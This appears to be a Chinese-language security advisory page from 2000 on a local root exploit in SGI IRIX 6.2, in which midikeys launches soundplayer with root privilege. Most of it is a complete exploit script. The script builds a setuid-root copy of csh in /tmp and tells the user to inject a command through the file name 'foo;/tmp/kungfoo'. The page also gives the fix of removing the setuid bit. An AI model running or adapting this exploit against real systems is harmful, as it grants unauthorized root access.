xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

IRIX midikeys/soundplayer漏洞


发布时间:2000-05-03
更新时间:2000-05-03
严重程度:
威胁程度:本地管理员权限
错误类型:设计错误
利用方式:服务器模式

受影响系统
SGI IRIX 6.2
详细描述
SGI's Irix 操作系统提供了一个叫soundplayer的X应用程序来打开.wav文件,它本身不是SETUID程序,但却可以通过调用midikeys来继承ROOT特权,当soundplayer保存文件时,如果在常规的文件名后面加上分号,然后填上要执行的程序,就可以执行用来夺取ROOT权限了。

测试代码
下面是它的利用程序:

#!/bin/sh
#
# Irix 6.x soundplayer xploit - Loneguard 20/02/99
#
# Good example of how bad coding in a non-setuid/priviledged process
# can offer up rewt
#
cat > /tmp/crazymonkey.c << 'EOF'
main() {
setuid(0);
system("cp /bin/csh /tmp/xsh;chmod 4755 /tmp/xsh");
}
EOF
cc -o /tmp/kungfoo crazymonkey.c
/usr/sbin/midikeys &
echo "You should now see the midikeys window, goto the menu that allows you to play sounds and load a wav. This will bring
up a soundplayer window. Save the wav as 'foo;/tmp/kungfoo' and go find a rewt shell in tmp"

解决方案
临时的解决办法是移除soundplayer的setuid位。

相关信息